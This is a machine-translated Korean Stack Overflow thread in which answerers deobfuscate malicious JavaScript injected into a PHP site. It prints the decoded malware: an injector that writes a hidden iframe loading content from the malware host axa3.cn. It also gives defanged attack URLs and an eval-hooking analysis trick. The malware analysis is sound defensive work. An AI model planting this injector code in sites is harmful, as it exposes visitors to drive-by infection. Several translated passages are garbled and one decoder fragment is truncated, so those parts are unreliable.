문제

자바스크립트에 있는 PHP 파일의 맨 아래에 일부 코드가 있습니다.16진수를 ASCII로 변환한 다음 정규식 대체를 수행하고 코드를 실행하는 등 이상한 왜곡을 많이 겪습니다.

실제로 실행하기 전에 무엇을 실행하고 있는지 알아낼 수 있는 방법이 있나요?

코드는 여기에 있습니다:

http://pastebin.ca/1303597

도움이 되었습니까?

해결책

당신은 단지 무대별로 이동할 수 있습니다 - JavaScript이기 때문에 해석되기 때문에 자체 암호 결정자가되어야합니다. 명령 줄 JavaScript 통역사 (예 : 콘솔)에 액세스 할 수있는 경우 개똥 벌레), 이것은 상당히 간단 할 것입니다.

나는보고 무엇이 나오는지 볼 것이다.

편집하다 나는 대부분의 것을 통과했습니다 - 마지막 단계는 아마도 "argument.callee"를 포함하기 때문에 사소한 것 같습니다. 어쨌든 나는 일어나었다 내가 지금까지 가지고있는 것 페이스트 빈에.

흥미롭게도 나는 이것의 가장 어려운 부분이 횡설수설 변수에 적절한 이름을주는 것임을 알았습니다. 그것은 당신이 무엇이 관련되어 있는지 아는 크로스 워드 또는 스도쿠를 떠올리게했지만 의존적 부분이 무엇인지 알아 내기 전까지는 확실하게 할당 할 수 없습니다. :-) 누군가가 알고리즘을 인식하면 부품에 더 의미있는 이름을 줄 수 있다고 확신하지만, Xoring이 많이있는 곳에서는 기본 이름으로 남긴 두 가지 임시 변수가 있습니다. 나는 그들에게 유용한 상황을 줄 충분한 맥락을 모르기 때문에.

최종 편집: 'arguments.callee'비트는 내가 아이러니하게 디코딩하고 있다는 원시 텍스트를 전달할 수 있다는 것을 깨달았을 때 쉬워 졌을 때 (그것은 매우 영리한 기술이기 때문에, 정상적인 deobfuscation이 작동하지 않도록 작동하지 않도록합니다. 변수 등, 값은 다릅니다). 어쨌든 여기에 여러분의 스크립트가 있습니다.


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

기본적으로 AXA3.CN에서 맬웨어를로드하는 것처럼 보입니다. 이 사이트는 이미 ISP에 의해 의심되었으므로 실제로 일반적인 악을 넘어서 실제로 무엇이 있었는지는 알지 못합니다.

(누군가가 관심이 있다면, 나는 Code의 변화하는 버전을위한 pseudo-VC로 Pastebin을 사용하고 있었으므로 당신은 볼 수 있습니다. 또 다른 중간 단계, 첫 편집 게시물 이후 조금. 다양한 층의 난독 화 층과 그들이 어떻게 변화했는지 보는 것은 매우 흥미로웠다.)

다른 팁

수동으로 디코딩할 수도 있지만 디코딩 단계가 많으면 곧 지루해질 수 있습니다.나는 일반적으로 각 단계를 보기 위해 eval/write를 대체합니다.

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

그러나 이 특정 스크립트는 window.eval을 고의적으로 검사하여 이에 대해 보호됩니다.Arguments.callee를 사용한다는 것은 스크립트가 특정 브라우저의 Function.toString 형식(이 경우 IE의 경우)에 의존한다는 의미이기도 합니다. 다른 브라우저에서는 작동하지 않습니다.대체 평가 함수에 해결 방법을 넣어 이 경우 스크립트에 예상되는 결과를 제공할 수 있지만 여전히 약간의 어려움이 있습니다.

스크립트 디버거를 사용하여 코드를 단계별로 실행할 수 있습니다. 또는 이 경우 제가 한 일은 네트워킹이 없어 쓸 수 없는 가상 머신에서 코드가 실행되도록 허용하는 것이었습니다.코드가 실행된 후 document.body.innerHTML을 살펴보면 다음을 가리키는 보이지 않는 iframe이 추가된 것을 발견했습니다.

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

다음으로 리디렉션됩니다.

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

IE의 적절한 조건에서 보면 많은 공격이 가능합니다. 이 URL로 이동하지 마세요.

간단히 말해서 귀하의 서버는 현재 중국이 호스팅하지만 러시아가 운영하는 많은 악성 코드 갱단 중 하나인 axa3.cn에 의해 해킹되었습니다.

Perl 스크립트 나 모든 탈출 된 16 진 문자를 ASCII로 변경하는 내용을 작성 하시겠습니까? 그런 다음 Regex를 살펴보고 정확히 무슨 일이 일어나고 있는지 확인하고 Perl/Whate Script에서 똑같은 일을하십시오.

Firebug 콘솔을 시험해 보면서 조각 할 수 있습니다. 처음으로 :

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

"평가"기능을 "jQuery"로 마스킹하고 있습니다.

가장 쉬운 접근 방식은 단순히 간단한 C 프로그램을 사용하여 탈출 한 16 진 문자를 읽을 수있는 텍스트로 변환하는 것입니다.

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

어느 수율 이것 (형식을 추가했습니다). 더 동일하게 보이는 마지막 부분을 끝내게하겠습니다.

매우 신중하게 - 누군가가 코드를 난독 화하는 데 많은 어려움을 겪고 있다면 아마도 일종의 공격 스크립트 일 것입니다.

로컬 HTML 파일을 사용하여 단계에서 실행 결과를 출력하고 한 번에 한 조각 씩 가져갈 수 있습니다.

이렇게하면됩니다.

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

어느 수율

jQuery=eval(window.eval);

Crescentfresh가 관찰 한 바와 같이, 변수 jQuery를 Window.eval 함수에 바인딩합니다.

다음 섹션은 분명히 16 진 코드로 무언가를 평가하려고 노력하고 있으므로 Hex 코드 문자열이 어떻게 보이는지 살펴 보겠습니다 (프리젠 테이션 목적으로 수동으로 개조).

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

그리고 이제 우리는 끝에 탈출 한 줄을 가지고 있습니다. Unescape (프리젠 테이션을 위해 잘린)를 사용하여 거기에 무엇이 있는지 보자.

30248118Ga0*L : WRG : NT9*82 :) 7Z uf%*{...

솔직히, 나는 이것을 분해하고 지루해지기 때문에 대신에 로컬 HTML 파일, 인터넷에서 분리, Firefox, 비활성화 된 JavaScript, Firefox에 파일을로드하고 FireBug를 켜고 페이지를 다시로드하여 실행되도록로드했습니다. , Dom을 검사했습니다.

스크립트는 SRC가 [안전을 위해 변경된!]로 설정된 iframe을 만듭니다.

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

AXA3.CN은 맬웨어 블랙리스트의 중국 도메인입니다

나는 그 대답이 아니라는 것을 알고 있지만, 보통 (ive가 이런 종류의 것들을 본 곳), 그들은 그 선이 실행되지 않으면 모든 스크립트가 멈 춥니 다. 왜 그렇게합니까? 그들은 스크립트에서 저작권을 인쇄하고 있습니다 (또는 더 일반적으로 템플릿).

사람들이 인정을 받기 위해 모든 어려움을 겪을 때 저작권 제거 라이센스가 없기 때문에, 나는 당신이 "역 엔지니어"라는 경우에도 지불하는 것이 좋습니다. 귀하의 라이센스는 사실입니다. (그 소프트웨어 중 일부는 실제로 그렇게한다면 실제로 어떤 종류의 메시지를 보낼 것입니다).

그러나 어떤 종류의 불꽃을 얻기 전에, 나는 이런 종류의 유가 증권으로 돌아가서 원래 코드를 얻고 깨뜨리는 것이 흥미로운 것에 동의합니다 =)

라이센스 : CC-BY-SA ~와 함께 속성
제휴하지 않습니다 StackOverflow
scroll top